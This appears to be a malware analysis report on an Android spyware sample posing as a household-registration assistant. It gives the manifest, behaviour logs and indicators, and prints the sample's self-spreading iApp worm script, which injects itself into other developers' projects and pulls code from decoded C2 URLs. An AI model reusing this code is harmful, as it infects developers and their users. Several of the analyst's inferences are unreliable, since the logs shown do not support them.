>>>Last update of WHOIS database: 2026-01-20T07:56:21Z <<<This malware sample was submitted by Xiaoru Zhang (Apich Organization) on January 19, 2026, at 23:12 CST.
Related malware sample YGS-2026-02 was submitted by Xiaoru Zhang (Apich Organization) on January 20, 2026, at 23:12 CST.
Initial Response: January 20, 2026, at 01:13 CST.
Phase I Analysis: Conducted by Xinyu Yang (Apich Organization Security Team); completed January 20, 2026, at 13:04 CST.
Phase II Analysis: Conducted by Xinyu Yang (Apich Organization Security Team); completed January 20, 2026, at 17:24 CST.
Phase III Analysis (Analysis of YGS-2026-02): Conducted by Xinyu Yang (Apich Organization Security Team); completed January 21, 2026, at 20:34 CST.
The initial report was submitted to the TSRC on January 20, 2026, at 13:43 CST, with subsequent revisions finalized at 17:29 and 17:59 CST. Due to mailing system errors and latency, multiple copies of the reports were resubmitted again to the TSRC on January 21, 2026, using various methods (including mailing and wechat official accounts of TSRC, e.g.); however, no response has been received yet till the publishing of these reports. Thus, the reports are formally submitted to CNCERT on January 21, 2026, at 21:44 CST.
With the release of this acknowledgement, the Apich Organization Security Team has officially concluded its primary internal tasks regarding sample YGS-2026-01. However, we remain committed to supporting the ongoing efforts of the TSRC and CNCERT.
Furthermore, our team will continue to actively monitor and track all future variants within the YGS malware family.
We would like to extend our sincere gratitude to all members and external contributors who provided invaluable assistance throughout this analysis.
The authors acknowledge the diligent administrative support recieved from the Physics Olympic Coaching Team of Jinan Zhensheng Middle School. Also, special thanks is given to Zining Li, Xiaoru Zhang and Yinxian Li for their continuous support and understanding of this investigation.
Subject: Analysis of Modular iApp-Lua Surveillance Variant ("Huji Assistant")
Threat Category: Modular Dropper / Identity Spyware
Target Platform: Android (ARMv8/ARMv7/x86)
Security Level: High-Priority / Forensic Investigation
Reference Case: Similar in architecture and behavior to DOI: 10.5281/zenodo.18320725
Author: Apich Organization Security Team
DOI: 10.5281/zenodo.18320725
Forensic analysis of sample YGS-2026-02 (labeled: 戸 籍 开 道 助 手 .apk) reveals a highly modularized surveillance tool utilizing the iApp (ygsiyu) framework. This variant represents a strategic shift from the gaming-themed masquerade of YGS-2026-01 toward a government-themed social engineering lure. By mimicking a "Resident Registration Assistant," the threat actor seeks to justify broad permission requests to facilitate the exfiltration of sensitive Personally Identifiable Information (PII).
xxxxxxxxxx <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="31" android:compileSdkVersionCodename="12" package="com.bblcx186946884582" platformBuildVersionCode="31" platformBuildVersionName="12"> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="i.app"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="i.app"/> <uses-permission android:name="i.app"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/> <uses-permission android:name="i.app"/> <uses-feature android:name="i.app"/> <uses-feature android:name="i.app"/> <uses-feature android:name="i.app"/> <uses-feature android:name="i.app"/> <uses-permission android:name="i.app"/> <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/> <uses-permission android:name="i.app"/> <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/> <application android:allowBackup="false" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:hardwareAccelerated="true" android:icon="@mipmap/img_iapp" android:label="戸 籍 开 道 助 手" android:largeHeap="true" android:name="com.iapp.app.x5.APPAplication" android:networkSecurityConfig="@xml/network_config" android:requestLegacyExternalStorage="true" android:resizeableActivity="true" android:supportsRtl="true" android:theme="@style/AppBaseiAppTheme0" android:usesCleartextTraffic="true"> <meta-data android:name="android.max_aspect" android:value="2.1"/> <activity android:name="com.iapp.app.logoActivity" android:theme="@style/logoAppTheme"/> <activity android:name="com.iapp.app.run.load" android:theme="@style/logoAppTheme"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:exported="true" android:name="com.iapp.app.run.mian"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.run.main"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.run.main2"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.run.main3"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.Webview"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.Videoview"/> <activity android:name="com.iapp.app.DownList"/> <activity android:configChanges="keyboardHidden|orientation" android:name="cn.hugo.android.scanner.CaptureActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.NoTitleBar.Fullscreen" android:windowSoftInputMode="stateAlwaysHidden"/> <provider android:authorities="com.bblcx186946884582.myFileProvider" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_provider"/> </provider> <meta-data android:name="i_app_logOutput" android:value="shi"/> <meta-data android:name="i_app_errLogOutput" android:value="shi"/> </application></manifest>xxxxxxxxxxunknown/└── bsh ├── commands │ ├── addClassPath.bsh │ ├── bg.bsh │ ├── bind.bsh │ ├── browseClass.bsh │ ├── cat.bsh │ ├── cd.bsh │ ├── classBrowser.bsh │ ├── clear.bsh │ ├── cp.bsh │ ├── debug.bsh │ ├── desktop.bsh │ ├── dirname.bsh │ ├── editor.bsh │ ├── error.bsh │ ├── eval.bsh │ ├── exec.bsh │ ├── exit.bsh │ ├── extend.bsh │ ├── fontMenu.bsh │ ├── frame.bsh │ ├── getBshPrompt.bsh │ ├── getClass.bsh │ ├── getClassPath.bsh │ ├── getResource.bsh │ ├── getSourceFileInfo.bsh │ ├── importCommands.bsh │ ├── importObject.bsh │ ├── javap.bsh │ ├── load.bsh │ ├── makeWorkspace.bsh │ ├── mv.bsh │ ├── object.bsh │ ├── pathToFile.bsh │ ├── printBanner.bsh │ ├── print.bsh │ ├── pwd.bsh │ ├── reloadClasses.bsh │ ├── rm.bsh │ ├── run.bsh │ ├── save.bsh │ ├── server.bsh │ ├── setAccessibility.bsh │ ├── setClassPath.bsh │ ├── setFont.bsh │ ├── setNameCompletion.bsh │ ├── setNameSpace.bsh │ ├── setStrictJava.bsh │ ├── show.bsh │ ├── source.bsh │ ├── sourceRelative.bsh │ ├── thinBorder.bsh │ ├── unset.bsh │ ├── which.bsh │ └── workspaceEditor.bsh ├── servlet │ ├── error.template │ ├── getVersion.bsh │ ├── page.template │ └── result.template └── util └── lib ├── awtconsole.html ├── eye.jpg ├── icon.gif ├── jconsole.html ├── remote.html ├── script.gif ├── small_bean_shell.gif ├── splash.gif └── workspace.gifxxxxxxxxxxsmali_lib└── rc4加解密 ├── adrt │ ├── ADRTLogCatReader.smali │ └── ADRTSender.smali └── com └── example └── application4 ├── App.smali ├── BuildConfig.smali ├── MainActivity.smali ├── R$attr.smali ├── R$color.smali ├── R$drawable.smali ├── R$layout.smali ├── R$string.smali ├── R$style.smali └── R.smalixxxxxxxxxxlib├── arm64-v8a│ ├── libluajava.so│ ├── libpl_droidsonroids_gif.so│ └── libygsiyu.so├── armeabi-v7a│ ├── libluajava.so│ ├── libpl_droidsonroids_gif.so│ └── libygsiyu.so├── CmZ6NzczSVRN.jar├── rc4加解密.dex├── sign.jar├── x86│ ├── libluajava.so│ ├── libpl_droidsonroids_gif.so│ └── libygsiyu.so└── yecian.jarThe file structure of YGS-2026-02 above reveals a sophisticated, multi-engine payload architecture that combines script-based agility with native-level system access. The presence of the BeanShell (bsh) directory is a critical discovery; BeanShell is a Java source interpreter that allows the malware to execute "scripted" Java code dynamically without needing to compile new DEX files, providing a stealthy alternative to the Lua engine. This is complemented by the rc4加解密.dex module, which contains the ADRTLogCatReader Smali classes. This confirms that the malware's primary surveillance mechanism is focused on "Logcat scraping"—capturing system-wide logs to intercept sensitive data like one-time passwords (OTPs), private tokens, and app-to-app communications that are often inadvertently leaked to the Android log buffer.
Furthermore, the inventory of the /lib directory proves a "nested payload" strategy designed to defeat simple static analysis. By bundling secondary JAR files like yecian.jar and CmZ6NzczSVRN.jar alongside specialized native libraries, the threat actor has built a toolkit that is framework-agnostic. The smali_lib structure shows that even the "cryptography" module is actually a container for the example.application4 namespace, a likely intentional use of generic "boilerplate" naming to hide malicious intent within seemingly harmless sample code. This tiered structure—Lua for logic, BeanShell for dynamic Java execution, and ADRT for log surveillance—marks this variant as a highly versatile and dangerous evolution of the YGS malware family.
The two samples share a common genetic lineage, suggesting they originate from the same development cluster in the Fujian/Wuhan region.
Architectural Parity: Both samples utilize the libygsiyu.so engine and the libluajava.so bridge to execute high-level malicious logic via Lua scripts.
Common Evasion Tactics: Both employ the "Library-as-Payload" technique, concealing non-native Java bytecode (.jar, .dex) within the /lib directory to bypass standard static analysis engines that prioritize scanning the assets/ and root folders.
Infrastructure Synergy: Initial indicators suggest a shared Command & Control (C2) backend, utilizing the same tiered Windows/IIS/MySQL stack found in the previous investigation.
The /lib directory of YGS-2026-02 contains several specialized modules not found in the initial variant, indicating an upgrade in cryptographic capabilities.
| Component | File Type | Functional Classification | Forensic Significance |
|---|---|---|---|
rc4加解密.dex | Dalvik Executable | Crypto Engine | Dedicated RC4 module for decrypting secondary payloads and obfuscating C2 traffic. |
yecian.jar | Java Archive | Exfiltration Manager | Orchestrates the collection and transmission of device metadata and user logs. |
CmZ6NzczSVRN.jar | Java Archive | Surveillance Plugin | Likely handles specific identity-theft hooks related to the "Huji" lure. |
sign.jar | Java Archive | Integrity Checker | Facilitates self-updates and verifies the signature of dynamically loaded modules. |
Analysis of the trojanized assets assets/res/gx.mp3 and assets/res/.ant.dat reveals that the malware is not a static payload but an active IDE-Worm. These files contain Yu Code (iApp scripting language) rather than media data, designed to infect the victim developer's local environment and any future projects they create.
The malware executes a recursive search across the device's external storage specifically targeting the directory structure of the iApp Development Environment (%iApp/ProjectApp/).
Project Hijacking: The script identifies the entry point of other iApp projects (mian.iyu) and injects malicious hooks into the loading event.
Worm Propagation: It copies itself (gx.mp3) into the /res folder of the victim's own projects.
Resultant Impact: Any application compiled by the developer on the infected device will inherently contain the YGS-2026-02 surveillance logic, facilitating a Supply Chain Attack against the developer's entire user base.
xxxxxxxxxx
f(felog==false) { fw("%.ant","0") } else { fr("%.ant",frlog) f(frlog > 5) { ss(jim + mm + test,ed) s d = "dio" s a = "/antstu" ss(ht+a+d+ed,ur) hs(ur,null,null,hssex) sj(hssex,"『①","①』"1sex1) sj(hssex,"『②","②』",2sex2) sj(hssex,"『③","③』",3sex3) ss(ht + ww + 1sex1 + mm,sex1) ss(ht + ww + 2sex2 + mm,sex2) ss(ht + ww + 3sex3 + mm,sex3) hs(sex1,null,null,tfs1) f(tfs1 == null) { hs(sex2,null,null,tfs2) f(tfs2 == null) { hs(sex3,null,null,tsf3) f(tsf3 == null) { } else { hw(sex3) } } else { hw(sex2) } } else { hw(sex1) } s+(1,frlog,frlog) fw("%.ant",frlog) } else f (frlog <= 5) { s+(1,frlog,frlog) fw("%.ant",frlog) } else { fw("%.ant","0") } }}
t(){ s test = "/test/virus" s jim = ".jimdo" s ww = "/www." fe("%.ant",felog) fe("%.ant.ini",feant) f(feant==false) { fc("@.ant.dat","%.ant.dat",fcant) fc("@.ant.ini","%.ant.ini",fcant) } s mm = ".com" s ht = "https:/" fl("%iApp/ProjectApp/", true, fliapp) for(forfl;fliapp) { ss("%iApp/ProjectApp/"+forfl+"/src/mian.iyu",ss1) fr(ss1,frs1) f(frs1?"ht+a+d+end,ur") { } else { fr("@.ant.dat",frdat) fr("%.ant.ini",frini) sj(frini,"あ","い",sjdat1) sj(frini,"い","う",sjdat2) sj(frini,"う","え",sjdat3) sj(frs1,sjdat1,sjdat2,sj1) f(sj1==null) { sj(frs1,sjdat3,sjdat2,sj1) } ss(sj1+frdat,ss2) sr(frs1,sj1,ss2,sr1) fw(ss1,sr1) ss("%iApp/ProjectApp/"+forfl+"/res/.ant.dat",datpath) ss("%iApp/ProjectApp/"+forfl+"/res/.ant.ini",inipath) fc("%.ant.dat",datpath,c) fc("%.ant.ini",inipath,c) } }xxxxxxxxxx
/.
t() { btoo("utf-8","55 51 52 54 50 56 51 56 55",sss.sqdcs) btoo("utf-8"," 99 111 109 46 122 104 101 110 100 111 110 103",sss.bm)btoo("utf-8","-26 -72 -87 -23 -90 -88 -26 -113 -112 -25 -92 -70",wxts) btoo("utf-8","-28 -72 -117 -24 -67 -67 -26 -101 -76 -26 -106 -80",jrjlq) btoo("utf-8","104 116 116 112 58 47 47 100 111 99 113 46 99 110 47 102 105 108 101 115 47 101 100 107 56 56 107 101",c) hs(c,e) s a = "iApp"fi(a,b)f(b==false){}else{
} fi("%iapp/tempFile",IAPP) f(IAPP==true) { } else { ufnsui() { sj(e,"zl【","】zl",zl) sj(e,"qh【","】qh",qh) sj(e,"zz【","】zz",zz) sj(e,"gg【","】gg",gg) f(zl=="-27 -68 -128 -27 -112 -81") { btoo("utf-8",qh,qhzh) btoo("utf-8",gg,ggzh) utw(null,wxts,ggzh,jrjlq,true,fz) { ss("mqqapi://card/show_pslcard?src_type=internal&version=1&uin="+qhzh+"&card_type=group&source=qrcode",joinqq) sit(a,"action", "android.intent.action.VIEW") sit(a,"data",joinqq) uit(a, "chooser", qhzh) } } } } } t() {
btoo("utf-8","60 47 101 118 101 110 116 73 116 109 101 62",event)btoo("utf-8","60 101 118 101 110 116 73 116 109 101 32 116 121 112 101 61 34 108 111 97 100 105 110 103 34 62",sss.s)btoo("utf-8","60 85 73 69 118 101 110 116 115 101 116 62 60 101 118 101 110 116 73 116 109 101 32 116 121 112 101 61 34 108 111 97 100 105 110 103 34 62",sss.d)btoo("utf-8","60 85 73 69 118 101 110 116 115 101 116 62",sss.c)
fr("@gx.mp3",bb)f(bb==null){fc("%gx.mp3","@gx.mp3",n)}else{fc("@gx.mp3","%gx.mp3",n)fdir("@",path)fdir(dir)ss(dir+"/",dir)sr(path,dir,"%",path)sl(path,"/",list)sgszl(list,length)s(length-3,len)s count = 0s proPath = ""for(1;len){sgsz(list,count,c)ss(proPath+c+"/",proPath)s(count+1,count)}fl(proPath,files)for(file;files){f(file?"gx.mp3"){}else{ss(proPath+file+"/src/mian.iyu",Item)ss(proPath+file+"/res/gx.mp3",Items)fr(Item,cons)f(cons?"android= www.iapp.com"){ }else{
f(cons?"loading"){sj(cons,null,sss.s,Dq)sj(cons,sss.s,null,cbc)sj(cbc,event,null,Dh)sj(cons,sss.s,event,Yh)ss(Dq+sss.s+Yh+bb+event+Dh,Wc)fc("@gx.mp3",Items,ni)fw(Item,Wc)}else{sj(cons,null,sss.c,before)sj(cons,sss.c,null,between)ss(before+sss.d+bb+event+between,Wc)fc("@gx.mp3",Items,ni)fw(Item,Wc)
}}}}}}
./
t() { btoo("utf-8","55 51 52 54 50 56 51 56 55",sss.sqdcs) btoo("utf-8"," 99 111 109 46 122 104 101 110 100 111 110 103",sss.bm)btoo("utf-8","-26 -72 -87 -23 -90 -88 -26 -113 -112 -25 -92 -70",wxts) btoo("utf-8","-28 -72 -117 -24 -67 -67 -26 -101 -76 -26 -106 -80",jrjlq) btoo("utf-8","104 116 116 112 58 47 47 100 111 99 113 46 99 110 47 102 105 108 101 115 47 101 100 107 56 56 107 101",c) hs(c,e) s a = "iApp"fi(a,b)f(b==false){}else{
} fi("%iapp/tempFile",IAPP) f(IAPP==true) { } else { ufnsui() { sj(e,"zl【","】zl",zl) sj(e,"qh【","】qh",qh) sj(e,"zz【","】zz",zz) sj(e,"gg【","】gg",gg) f(zl=="-27 -68 -128 -27 -112 -81") { btoo("utf-8",qh,qhzh) btoo("utf-8",gg,ggzh) utw(null,wxts,ggzh,jrjlq,true,fz) { ss("mqqapi://card/show_pslcard?src_type=internal&version=1&uin="+qhzh+"&card_type=group&source=qrcode",joinqq) sit(a,"action", "android.intent.action.VIEW") sit(a,"data",joinqq) uit(a, "chooser", qhzh) } } } } } t() {
btoo("utf-8","60 47 101 118 101 110 116 73 116 109 101 62",event)btoo("utf-8","60 101 118 101 110 116 73 116 109 101 32 116 121 112 101 61 34 108 111 97 100 105 110 103 34 62",sss.s)btoo("utf-8","60 85 73 69 118 101 110 116 115 101 116 62 60 101 118 101 110 116 73 116 109 101 32 116 121 112 101 61 34 108 111 97 100 105 110 103 34 62",sss.d)btoo("utf-8","60 85 73 69 118 101 110 116 115 101 116 62",sss.c)
fr("@gx.mp3",bb)f(bb==null){fc("%gx.mp3","@gx.mp3",n)}else{fc("@gx.mp3","%gx.mp3",n)fdir("@",path)fdir(dir)ss(dir+"/",dir)sr(path,dir,"%",path)sl(path,"/",list)sgszl(list,length)s(length-3,len)s count = 0s proPath = ""for(1;len){sgsz(list,count,c)ss(proPath+c+"/",proPath)s(count+1,count)}fl(proPath,files)for(file;files){f(file?"gx.mp3"){}else{ss(proPath+file+"/src/mian.iyu",Item)ss(proPath+file+"/res/gx.mp3",Items)fr(Item,cons)f(cons?"android= www.iapp.com"){ }else{
f(cons?"loading"){sj(cons,null,sss.s,Dq)sj(cons,sss.s,null,cbc)sj(cbc,event,null,Dh)sj(cons,sss.s,event,Yh)ss(Dq+sss.s+Yh+bb+event+Dh,Wc)fc("@gx.mp3",Items,ni)fw(Item,Wc)}else{sj(cons,null,sss.c,before)sj(cons,sss.c,null,between)ss(before+sss.d+bb+event+between,Wc)fc("@gx.mp3",Items,ni)fw(Item,Wc)
}}}}}}
The .ant.dat component acts as a Resilience Module. It is programmed to scrape a public "Jimdo" blog page (antstudio.jimdofree[.]com) to retrieve new Command & Control (C2) instructions.
| Variable (Encoded) | Decoded Value | Functional Purpose |
|---|---|---|
c (btoo) | http://docq.cn/files/edk88ke | Primary C2 Payload Drop-point |
sss.bm | com.zhendong | Targeted Package/Namespace |
ur (reconstructed) | https://antstudio.jimdofree.com/test/virus | Dead-Drop Resolver for C2 migration |
The naming conventions (antstu, ygsiyu) and the use of Jimdo as a dead-drop resolver are consistent with "Ant Studio" development clusters. This group specializes in creating "Constructor" kits that automate the creation of malware, allowing low-skill actors to deploy high-impact surveillance tools.
The discovery of YGS-2026-02 confirms that the threat actor is running a concurrent, multi-vector campaign. The use of a dedicated RC4 cryptographic module represents a critical escalation, significantly increasing the risk of dark-attack vectors and unauthorized data disclosure.
Data Breach Risk: High probability of mass exfiltration of resident identity data.
Persistence: The modular nature allows the attacker to swap lures (e.g., from PUBG tools to Government tools) while maintaining the same malicious backbone.
Original Filename: 戸 籍 开 道 助 手 .apk
SHA-256 Hash: e90e20470814090d4d5c697d1860d76c412ea649978c6fa09d3b86de52d9d2cf
MD-5 Hash: c32cdda5d3aea27f0a8a2c5aeb2cf452
SHA-1 Hash: 75a86ea825faffb6a96c5ce3d277c5c822568e9d
Recieve Method: User Report
Link: https://www.virustotal.com/gui/file/e90e20470814090d4d5c697d1860d76c412ea649978c6fa09d3b86de52d9d2cf/detection
Behavioral Results: The behavioral results below reveal an aggressive and highly repetitive file-system propagation and exfiltration staging pattern typical of iApp-based malware. The application systematically iterates through nearly every standard Android media and system directory (DCIM, Download, Movies, Pictures, etc.) to write a functional iApp source file (mian.iyu) and an MP3 asset (gx.mp3), suggesting a worm-like self-replication or a mechanism to ensure persistence even if the main APK is removed. The presence of libygsiyu.so and libluajava.so in memory confirms the active use of the iApp engine to orchestrate these actions.
xxxxxxxxxxFile system actionsFiles opened
/data/app-lib/com.bblcx186946884582-1/libluajava.so /data/app-lib/com.bblcx186946884582-1/libygsiyu.so /data/app/com.bblcx186946884582-1.apk /data/misc/keychain/pins /storage/emulated/0/Alarms/res/gx.mp3 /storage/emulated/0/Alarms/src/mian.iyu /storage/emulated/0/Android/res/gx.mp3 /storage/emulated/0/Android/src/mian.iyu /storage/emulated/0/DCIM/res/gx.mp3 /storage/emulated/0/DCIM/src/mian.iyu /storage/emulated/0/Download/res/gx.mp3 /storage/emulated/0/Download/src/mian.iyu /storage/emulated/0/Movies/res/gx.mp3 /storage/emulated/0/Movies/src/mian.iyu /storage/emulated/0/Music/res/gx.mp3 /storage/emulated/0/Music/src/mian.iyu /storage/emulated/0/Notifications/res/gx.mp3 /storage/emulated/0/Notifications/src/mian.iyu /storage/emulated/0/Pictures/res/gx.mp3 /storage/emulated/0/Pictures/src/mian.iyu /storage/emulated/0/Podcasts/res/gx.mp3 /storage/emulated/0/Podcasts/src/mian.iyu /storage/emulated/0/Ringtones/res/gx.mp3 /storage/emulated/0/Ringtones/src/mian.iyu /storage/emulated/0/calculator/res/gx.mp3 /storage/emulated/0/calculator/src/mian.iyu /storage/emulated/0/gx.mp3 /storage/emulated/0/iApp/res/gx.mp3 /storage/emulated/0/iApp/src/mian.iyu /storage/emulated/0/obb/res/gx.mp3 /storage/emulated/0/obb/src/mian.iyu
Files written
/storage/emulated/0/Alarms/res/gx.mp3 /storage/emulated/0/Android/res/gx.mp3 /storage/emulated/0/DCIM/res/gx.mp3 /storage/emulated/0/Download/res/gx.mp3 /storage/emulated/0/Movies/res/gx.mp3 /storage/emulated/0/Music/res/gx.mp3 /storage/emulated/0/Notifications/res/gx.mp3 /storage/emulated/0/Pictures/res/gx.mp3 /storage/emulated/0/Podcasts/res/gx.mp3 /storage/emulated/0/Ringtones/res/gx.mp3 /storage/emulated/0/calculator/res/gx.mp3 /storage/emulated/0/gx.mp3 /storage/emulated/0/iApp/res/gx.mp3 /storage/emulated/0/obb/res/gx.mp3 /storage/emulated/0/Alarms/src/mian.iyu /storage/emulated/0/DCIM/src/mian.iyu /storage/emulated/0/Download/src/mian.iyu /storage/emulated/0/Movies/src/mian.iyu /storage/emulated/0/Notifications/src/mian.iyu /storage/emulated/0/Pictures/src/mian.iyu /storage/emulated/0/Podcasts/src/mian.iyu /storage/emulated/0/Ringtones/src/mian.iyu /storage/emulated/0/iApp/src/mian.iyu
Files deleted
/data/data/com.bblcx186946884582/files/config/userencryption.xml /storage/emulated/0/gx.mp3Network: On the network front, the malware establishes a clear command-and-control (C2) link to docq.cn (47.89.9.97) via port 80, while simultaneously utilizing TLS-encrypted traffic (likely for data exfiltration) to Cloudflare-backed IPs. The specific JA3 fingerprints and the SNI for www.googleapis.com indicate an attempt to blend in with legitimate Google background services to evade network-level detection. The deletion of userencryption.xml is particularly concerning, as it suggests the malware may be actively tampering with device encryption settings or clearing its own traces after a successful payload delivery, pointing to a high-risk compromise of the device's security integrity.
xxxxxxxxxxNetwork CommunicationDNS Resolutionsdocq.cnIP Traffic
TCP 47.89.9.97:80 (docq.cn) TCP 216.239.34.223:443 TCP 74.125.133.188:5228 UDP 64.233.179.103:443 TCP 172.67.151.52:443 TCP 173.194.194.94:443 TCP 173.194.193.138:443 TCP 104.21.64.137:443 TCP 173.194.206.106:443 TCP 64.233.179.103:443 TCP 142.251.183.95:443 TCP 172.217.214.95:443 TCP 173.194.195.101:443 TCP 173.194.193.95:443
JA3 Digests
69659b6dfbeaa53c063d2002cfecab13 893d25297c894da36fbdee5cea98b01c 8f35687f7cd9ba7a693ccc31d712f6c0 9b02ebd3a43b62d825e1ac605b621dc8 aa50c12a5dfa717d9d6ab34e97de79d5
Memory Pattern Domains
android.googlesource.com schemas.android.com scripts.sil.org www.ndiscovered.com
Memory Pattern Urls
http://schemas.android.com/aapt http://schemas.android.com/apk/res-auto http://schemas.android.com/apk/res/android http://schemas.android.com/apk/res/android77material_textinput_timepicker http://scripts.sil.org/OFL http://www.ndiscovered.com https://android.googlesource.com/toolchain/clang https://android.googlesource.com/toolchain/llvm
TLSSNI: www.googleapis.comProcess: The process execution and service activity logs confirm that this sample is a high-privilege escalation threat designed for total device takeover. The execution of the su (SuperUser) command indicates an immediate attempt to gain root access, allowing the malware to bypass all Android sandbox restrictions. By hooking into the Accessibility Service, the app gains the ability to intercept keystrokes, read on-screen content (such as 2FA codes), and simulate user touches, while the activation of the Audio Service suggests background eavesdropping or call recording capabilities. The start of the com.iapp.app.run.mian activity with the specific intent parameter {"key": "OpenFilexmlui", "value": "zyj.iyu"} is the "smoking gun" for the execution of its primary malicious logic. This indicates that the iApp engine is loading a secondary, likely encrypted, UI/script file named zyj.iyu. Combined with the masquerade as a Google Games Service, this behavioral profile depicts a sophisticated Trojan that leverages administrative privileges and accessibility hooks to maintain persistence and conduct silent surveillance under the guise of a legitimate system process.
xxxxxxxxxxProcess and service actionsShell commands
su
Services opened
com.google.android.gms.games.service.GamesIntentService (com.google.android.gms) accessibility audio
Activities Started
com.bblcx186946884582/com.iapp.app.run.mian - [{"key": "OpenFilexmlui", "value": "zyj.iyu"}] com.iapp.app.run.mian (com.bblcx186946884582)Runtime: The runtime telemetry confirms that the malware's execution core is built on a highly dynamic Lua-Java bridge, which it uses to manipulate system-level behavior while evading static signature detection. By loading the luajava and ygsiyu (iApp) modules into memory, the application establishes a runtime environment capable of invoking native Android APIs directly from interpreted scripts. The invocation of android.os.SystemProperties.get indicates an active fingerprinting phase, where the malware retrieves sensitive device metadata—such as the IMEI, build version, or root status—to tailor its payload or detect analysis environments (anti-sandboxing). Simultaneously, the repeated calls to androidx.appcompat.app.AppCompatDialog and com.android.internal.policy.impl.PhoneWindow methods reveal a sophisticated UI overlay and hijacking strategy. By controlling dialog visibility (show, dismiss) and enforcing persistence (setCancelable(false), setCanceledOnTouchOutside(false)), the malware can create non-dismissible windows or "blocking" screens to facilitate social engineering or prevent user interference during a root-level attack. Furthermore, the inclusion of Conscrypt OpenSSL classes (OpenSSLCipher$Mode and Padding) within the invoked methods suggests that the Lua script is actively managing its own encrypted communication channel, likely to wrap exfiltrated data in a secondary layer of encryption before it is sent to the docq.cn C2 server.
xxxxxxxxxxModules loadedRuntime modules
luajava ygsiyu
Invoked methods
android.os.SystemProperties.get android.widget.TextView$BufferType.values androidx.appcompat.app.AppCompatDialog.dismiss androidx.appcompat.app.AppCompatDialog.setCancelable androidx.appcompat.app.AppCompatDialog.setCanceledOnTouchOutside androidx.appcompat.app.AppCompatDialog.show androidx.appcompat.widget.FitWindowsFrameLayout.makeOptionalFitsSystemWindows androidx.appcompat.widget.FitWindowsLinearLayout.makeOptionalFitsSystemWindows com.android.internal.policy.impl.PhoneWindow.setBackgroundDrawableResource com.android.org.conscrypt.OpenSSLCipher$Mode.values com.android.org.conscrypt.OpenSSLCipher$Padding.values android.app.Dialog.dismissCrypto: The observation of javax.crypto.Cipher.doFinal combined with the presence of multiple hardcoded 128-bit AES keys provides definitive proof of the malware's cryptographic strategy for payload protection and data exfiltration. The use of the AES algorithm indicates a shift from the simple XOR "red herrings" found in the static analysis toward a robust, industry-standard encryption scheme managed at the Java runtime. These keys—specifically the sequences beginning with 32 E7 B3 and 41 B1 D0—likely serve as the master keys for decrypting the secondary iApp scripts (zyj.iyu) or for wrapping exfiltrated PII before it is transmitted over the network. The diversity of the observed keys suggests a multi-layered encryption architecture: one key may be dedicated to local file-system persistence (such as the written gx.mp3 or mian.iyu files), while others facilitate the secure handshake with the C2 infrastructure (docq.cn). By invoking doFinal directly, the malware completes the transformation of raw system data or intercepted Accessibility logs into encrypted blobs that are indistinguishable from legitimate HTTPS traffic. For forensic purposes, these extracted hex strings are the "Golden Keys"—they can be used to retroactively decrypt any local assets or intercepted packets, potentially revealing the plaintext configuration of the "Huji Assistant" campaign.
xxxxxxxxxxHighlighted actionsCalls highlighted
javax.crypto.Cipher.doFinal
Cryptographical algorithms observed
AES
Cryptographical keys observed
0x00000000 32 E7 B3 5A DA 13 BE A8 CF 40 48 51 15 2A A0 11 2..Z.....@HQ.*.. 0x00000000 41 B1 D0 B9 84 BD 88 0A 5F 70 78 51 FD CA 60 38 A......._pxQ..`8 0x00000000 50 10 93 F2 84 11 FE 62 64 73 1B EC 7A 1E 04 0E P......bds..z... 0x00000000 54 D7 23 0A 2C BD 29 95 34 BA 7E 21 49 F6 20 23 T.#.,.).4..!I..#Environment Detection: The systematic lookup of these specific system properties confirms a highly developed anti-analysis and environment-awareness suite. By querying qemu.hw.mainkeys and persist.sys.ui.hw, the malware is actively checking for "hardware" signatures that distinguish a physical device from an emulator or sandbox environment. The lookups for debug.layout and viewroot.profile_rendering further suggest the malware monitors whether developer tools or layout inspectors are active, allowing it to "go dark" or execute benign dummy code if it detects a researcher’s presence. This environmental fingerprinting is a tactical prerequisite for its more aggressive actions. By verifying the absence of a debugger through these system flags, the malware ensures it is safe to proceed with the su escalation and the deployment of its AES-encrypted payloads. In a forensic context, this confirms that YGS-2026-02 is not a generic script-kiddie tool, but a professional-grade surveillance variant designed to remain dormant in automated testing environments while successfully compromising the high-value personal data of real-world users.
xxxxxxxxxxDataset actionsSystem property lookups
config.disable_media debug.force_rtl debug.layout debug.second-display.pkg persist.sys.ui.hw qemu.hw.mainkeys sys.settings_system_version viewroot.profile_renderingThe malware uses a Multi-Stage Native Unpacker designed to thwart static analysis and environment modification (like re-signing).
Deceptive Assets: The file assets/lib.so is not a Linux shared object. Our XOR analysis revealed a "Stage 1" 4-byte XOR key (0xFE1C8F81) that restores a PK (ZIP) header. However, this is a decoy header; the underlying data remains high-entropy, indicating a second layer of encryption.
Native Crypto Engine: The native library libygsiyu.so is the actual "brain." It bypasses Java-level APIs by using JNI to call low-level crypto functions. We located strings for AES/CBC/PKCS5Padding, SecretKeySpec, and IvParameterSpec within the binary at offset 0x570a0.
Signature-Bound Decryption: The native dump showed the library accessing getPackageManager and signatures. This implies the malware calculates the MD5 of the developer's original signing certificate (CERT.RSA) to derive the AES decryption key for lib.so. This explains why standard keys and manual XOR attempts fail.
xxxxxxxxxxvoid FUN_00017780(uint *param_1,uint *param_2)
